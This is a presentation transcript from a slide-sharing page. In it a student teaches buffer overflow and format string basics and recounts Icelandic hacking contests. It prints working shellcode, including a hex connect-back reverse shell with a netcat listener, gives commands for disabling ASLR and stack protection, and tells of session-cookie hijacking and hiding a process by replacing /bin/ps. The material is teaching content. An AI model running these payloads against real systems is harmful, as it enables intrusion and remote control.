 I am Trausti Saemundsson, a MSc student at Reykjavik University in Iceland  My supervisor is Ymir Vigfusson  I´m here in London doing research with.

Slides:



Advertisements
Similar presentations
Buffer Overflows Nick Feamster CS 6262 Spring 2009 (credit to Vitaly S. from UT for slides)
Advertisements

Smashing the Stack for Fun and Profit
Integrity & Malware Dan Fleck CS469 Security Engineering Some of the slides are modified with permission from Quan Jia. Coming up: Integrity – Who Cares?
Review: Software Security David Brumley Carnegie Mellon University.
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
Netprog: Buffer Overflow1 Buffer Overflow Exploits Taken shamelessly from: netprog/overflow.ppt.
Andrea Bittau, Adam Belay, Ali Mashtizadeh, David Maziéres, Dan Boneh
September 22, 2014 Pengju (Jimmy) Jin Section E
University of Washington CSE 351 : The Hardware/Software Interface Section 5 Structs as parameters, buffer overflows, and lab 3.
Security Exploiting Overflows. Introduction r See the following link for more info: operating-systems-and-applications-in-
Buffer overflows.
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2011.
Assembly, Stacks, and Registers Kevin C. Su 9/26/2011.
Lecture 6: Buffer Overflow CS 436/636/736 Spring 2014 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit)
Exploiting Buffer Overflows on AIX/PowerPC HP-UX/PA-RISC Solaris/SPARC.
University of Washington Today Memory layout Buffer overflow, worms, and viruses 1.
OSI and TCP/IP Models And Some Vulnerabilities AfNOG th May 2011 – 10 th June 2011 Tanzania By Marcus K. G. Adomey.
CS 5600 Computer Systems Lecture 13: Exploits and Exploit Prevention.
Mitigation of Buffer Overflow Attacks
Brian E. Brzezicki. This tutorial just illustrates the underlying concepts of buffer overflows by way of an extremely simple stack overflow  Most buffer.
CNIT 127: Exploit Development Ch 4: Introduction to Format String Bugs.
University of Washington Today Happy Monday! HW2 due, how is Lab 3 going? Today we’ll go over:  Address space layout  Input buffers on the stack  Overflowing.
Buffer Overflow CS461/ECE422 Spring Reading Material Based on Chapter 11 of the text.
Overflows & Exploits. In the beginning 11/02/1988 Robert Morris, Jr., a graduate student in Computer Science at Cornell, wrote an experimental, self-replicating,
Lecture 8: Buffer Overflow CS 436/636/736 Spring 2013 Nitesh Saxena *Adopted from a previous lecture by Aleph One (Smashing the Stack for Fun and Profit)
Buffer Overflow Attack Proofing of Code Binary Gopal Gupta, Parag Doshi, R. Reghuramalingam, Doug Harris The University of Texas at Dallas.
Lecture 9: Buffer Ovefflows and ROP EEN 312: Processors: Hardware, Software, and Interfacing Department of Electrical and Computer Engineering Spring 2014,
What is exactly Exploit writing?  Writing a piece of code which is capable of exploit the vulnerability in the target software.
A Tool for Pro-active Defense Against the Buffer Overrun Attack D. Bruschi, E. Rosti, R. Banfi Presented By: Warshavsky Alex.
Operating Systems Security
EC week Review. Rules of Engagement Teams selected by instructor Host will read the entire questions. Only after, a team may “buzz” by raise of.
Introduction to Information Security ROP – Recitation 5.
Information Leaks Without Memory Disclosures: Remote Side Channel Attacks on Diversified Code Jeff Seibert, Hamed Okhravi, and Eric Söderström Presented.
Reminder Bomb lab is due tomorrow! Attack lab is released tomorrow!!
Buffer Overflows Taught by Scott Coté.-. _ _.-. / \.-. ((___)).-. / \ /.ooM \ / \.-. [ x x ].-. / \ /.ooM \ -/ \ /-----\-----/---\--\ /--/---\-----/-----\ / \-
Web Security Firewalls, Buffer overflows and proxy servers.
Information Security - 2. A Stack Frame. Pushed to stack on function CALL The return address is copied to the CPU Instruction Pointer when the function.
Foundations of Network and Computer Security J J ohn Black CSCI 6268/TLEN 5550, Spring 2013.
Security Attacks Tanenbaum & Bo, Modern Operating Systems:4th ed., (c) 2013 Prentice-Hall, Inc. All rights reserved.
Slides by Kent Seamons and Tim van der Horst Last Updated: Nov 11, 2011.
Analyzing C/C++ Vulnerabilities -- Mike Gerschefske.
ROP Exploit. ROP Return Oriented Programming (ROP): is a hacking exploit technique where you exploit buffer overflow to inject a chain of gadgets. Each.
Announcements Assignment 2 Out Today Quiz today - so I need to shut up at 4:25 1.
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2014.
Software Security. Bugs Most software has bugs Some bugs cause security vulnerabilities Incorrect processing of security related data Incorrect processing.
Secure Programming Dr. X
Shellcode COSC 480 Presentation Alison Buben.
Mitigation against Buffer Overflow Attacks
Buffer Overflow Buffer overflows are possible because C doesn’t check array boundaries Buffer overflows are dangerous because buffers for user input are.
Protecting Memory What is there to protect in memory?
Introduction to Information Security
The Hardware/Software Interface CSE351 Winter 2013
Protecting Memory What is there to protect in memory?
Secure Programming Dr. X
Protecting Memory What is there to protect in memory?
CSC 495/583 Topics of Software Security Stack Overflows (2)
CMSC 414 Computer and Network Security Lecture 21
CS 465 Buffer Overflow Slides by Kent Seamons and Tim van der Horst
Software Security Lesson Introduction
Format String.
CSC 495/583 Topics of Software Security Format String Bug (2) & Heap
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2015.
Week 2: Buffer Overflow Part 2.
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2016.
Understanding and Preventing Buffer Overflow Attacks in Unix
CAP6135: Malware and Software Vulnerability Analysis Buffer Overflow : Example of Using GDB to Check Stack Memory Cliff Zou Spring 2013.
System and Cyber Security
Format String Vulnerability
Return-to-libc Attacks
Presentation transcript:

 I am Trausti Saemundsson, a MSc student at Reykjavik University in Iceland  My supervisor is Ymir Vigfusson  I´m here in London doing research with Gregory Chockler on a multitenant cache algorithm Trausti Ymir Gregory

 I have a BSc in Mathematics with focus on Computer Science  Went to the IMO (International Mathematical Olympiad) in 2008  I really like programming contests!  Participated in:  Facebook Hacker Cup 2013  NWERC 2012 in Delft, The Netherlands. First Icelandic team!  NCPC 2012  IEEEXtreme 24-Hour Programming Competition 2012  Google Code Jam 2012  Projecteuler, 112 solved problems

 Today I´m going to tell you about two Icelandic hacking contests and show you a video!  I will introduce the necessary concepts for understanding what we were hacking  I will also introduce the schedule for a 3 week course “Computer Security” taught at Reykjavik University in May 2013

 To be able to defend ourselves!  In order to defend ourselves against hackers, we must know how they think  By participating in a hacking contest, students learn the concepts extremely fast

 Hacking: The craft of exploiting software to do something it is not supposed to do.  Buffer overflows, shellcodes and format string exploits  If you haven´t heard about those concepts, I will introduce them!

/* echo.c */ void echo() { char buf[4]; /* Very small */ gets(buf); /* Dangerous function */ puts(buf); } int main() { printf(“Type a string:”); echo(); } unix>./echo Type a string: unix>./echo Type a string: ABC ABC Segmentation Fault  Okay  Buffer overflow!

/* safeecho.c */ void echo() { char buf[4]; fgets(stdin, buf, 4); /* Read 3 bytes and add ‘\0’ */ puts(buf); } int main() { printf(“Type a string:”); echo(); } unix>./safeecho Type a string: unix>./safeecho Type a string: ABC 123  Okay  Okay as well!

 C stores all variables on stack, but also other important stuff!  E.g. the address of where it was last executing (called the return address) void echo() { char buf[4]; gets(buf); puts(buf); } int main() {... echo(); } buf Stack frame for main Return address Old ebp Rest of stack frame for echo Stack grows down

 The input from the user overwrites the return address! void echo() { char buf[4]; gets(buf); puts(buf); } int main() {... echo(); } buf Stack frame for main Return address Old ebp Rest of stack frame for echo Could return to anywhere! input from user

 Where would we want to return?  Could return to OUR input buffer  Treated as machine code! Can execute anything void echo() { char buf[4]; gets(buf); puts(buf); } int main() {... echo(); } buf Stack frame for main Return address Old ebp Rest of stack frame for echo Could return to anywhere! input from user

 What do we want to execute?  Could eject CDROM or delete all files  Could launch a shell (say „/bin/bash“)  Could open a new port and launch a shell there  The coolest thing to do with a buffer overflow is to launch a shell!  A small piece of machine code that launches a shell like /bin/bash is called a shellcode

/* Spawn a local shell */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";  When executed, this shellcode stops the currently running program and opens /bin/sh instead

char connectbackshell[] = "\x31\xc0\x31\xdb\x99\x50\x6a\x01\x6a\x02\x89" "\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x68" "\xc0\xa8\x01\x8f" // IP: "\x66\x68" "\x05\x39" // Port: 1337 "\xb2\x02\x66\x52\x89\xe1\x6a\x10\x51\x56\x89" "\xe1\xb3\x03\xb0\x66\xcd\x80\x99\x56\x8b\x1c" "\x24\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80" "\x75\xf8\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62" "\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"  When executed, this shellcode stops the currently running program and opens a connect back shell to on port 1337 instead  The IP must be listening on port 1337 with netcat: nc –l –vv –p 1337

 GCC stack protection  You can disable it by passing the compiler flag: -fno-stack-protector  Address space layout randomization (ASLR)  It can be disabled in Linux with: sysctl -w kernel.randomize_va_space=0  Non-executable protection (NX Bit)  Disable it by booting Linux up with the parameter: noexec=off

 The non executable protection makes parts of the stack and the heap non-executable  We can get past the non-executable protection by using:  Return-oriented programming (ROP).  ROP is to cherry pick parts of the code that is ALREADY executable to put together our evil code  Like making a mosaic!

 Address space layout randomization (ASLR) is a security method which randomizes the starting address of the stack, heap and the executable code  One way to get past this is to use NOP slides  NOP ( 0x90) is a machine language instruction for doing nothing

 The technique is to make an exploit like this:  We overwrite the return address with and then we hope that some part of the NOP slide is located at this address  If that happens, NOPs get executed one by one until our shellcode gets executed

/* fm.c */ int main() { char buf[128]; printf(“Type a string:”); gets(buf); printf(buf); } unix>./fm Type a string:%p 0xff8b7864  Prints a value from the stack  Writes a value to the stack  Very dangerous! unix>./fm Type a string:%n unix>./fm Type a string:%n%n%n%n%n Segmentation fault

 Format string vulnerabilities  Using printf (cmd); instead of printf (“%s”, cmd);  Lazy programmers… bugs like this still found!  Allows an attacker to investigate memory  Attacker can also write to an arbitrary address  Using the %n primitive carefully  Can take over the program, even remotely

 Vulnerable chat server running on an Ubuntu server  The C source code is available at  The contest had 4 different levels

 Level 1: Read the source code and find a secret string  Level 2: Make a function print a secret message  Level 3: Spawn a connect back shell via a buffer overflow  Level 4: Use a format string exploit to spawn a local shell

 Two persons finished the fourth level  They competed in a final standoff in the Icelandic television  Had to spawn a shell with a buffer overflow

 One file given:  Several levels, with secret keywords to submit to  First one had to discover that the file was a gzipped jpg file  Next to run f5-steganography on the jpg file to extract a txt file with a link

 The link contained a file  The file was a uuencoded C source code  The source code did a lot of random bit manipulations to the two arguments, a string and a number  The program then printed an IP address

 The correct arguments to the C program were given as hints in previous stages  The IP address that came from the C program dumped some code on port 666  This code was a password protected ZIP archive  2d6aa9e26592e9cf8e40d7e6753b87ba was given at a previous stage and this is md5(cracks) so the password to the ZIP archive was cracks

 The ZIP archive contained a TCPDUMP  By using wireshark to analyze the TCPDUMP, I found Ymir´s session cookie to  So I used this session cookie and changed his profile picture to a cat

 He got revenge by booting my laptop up into single user mode and changing my facebook profile picture:  And then he said on my half on facebook: “Some people just want to see the world burn”  After that I settled for peace

 So I was not supposed to find this session cookie in the TCPDUMP but I was supposed to find a link to  This website contains: STAGE ZEBRA. Not authenticated.  When you give the website GET arguments: it contains: *Hungry* for password

 By using a hint from a previous level the password was f00d, so by giving another argument:  This site contains a private RSA key!  It also contains an IP address in the HTTP header

 Of course the RSA key was password protected with the password cracks  By using the RSA key, the username: ctf and the IP address one got into the server  The previous C source code had been compiled on this server with privileges of the user: ctf-final

 So next step was to find a buffer overflow vulnerability in the source code!  Then exploit it!  And then you were eligible to compete in the finals

 This virtual machine had several vulnerable C programs running  There was also a program /publish which we ran on the other computers to get points on the scoreboard  The finals were held on stage in a big cinema in Iceland  Every contestant got an Ubuntu 8.04 virtual machine with the same password

 Now I will show you a video of the contest!

 I had a robust exploit ready which got me a connect back shell to all the other computers  I ran it in the beginning of the contest and put a while loop on every computer:  while true; do /publish trausti; sleep 1s; done &  Helgi Kristvin however uses a Dvorak keyboard and types extremely fast  Before I could change my SSH password, he connected to my computer and replaced /bin/ps with a program that printed an old output from /bin/ps  So I could not kill his ssh session into my computer! Helgi Kristvin – The winner

 The participants of the contests had tremendous fun!  Learnt a lot by themselves!  Also used resources like:  And of course gdb

 Ymir Vigfusson ( is the organizer of those hacking contests  He will also teach a 3 week course called Computer Security this spring  This course is focused on vulnerabilities rather than conventional security  More complex hacking techniques!  Schedule on next slide!

 Week 1 (24/4 - 30/4)  Review of x86 assembly & C. Day assignment: decompiling x86. (+5%)  Basic buffer overflows in C programs. Lab #1: Buflab (10%)  Shellcodes and stack overflows. Lab #2: Stacklab (10%)  Wireless security. Optional lab: Wirelab (+5%)  Week 2 (1/5 – 7/5)  Heap overflows. Lab #3: Presentation (10%)  Defenses (NX, ASLR).  Format string attacks. Lab #4: Formatlab (10%)  Week 3 (8/5-11/5)  Web/logic and injection attacks. Lab #5: SQLlab (10%)  Network security, spoofing, sniffing, botnets.  Exploiting randomness. Lab #6: Entropylab (10%)  Final written exam (14/5?) (40%. Minimum 5.0/10.0 to pass)

 You saw examples of Buffer overflows, shellcodes and format string vulnerabilities  A brief overview of what happened at two Icelandic hacking contests!  I hope you enjoyed this presentation  If you haven´t already, I hope that you will be holding some Hacking Contests here!  Thank you!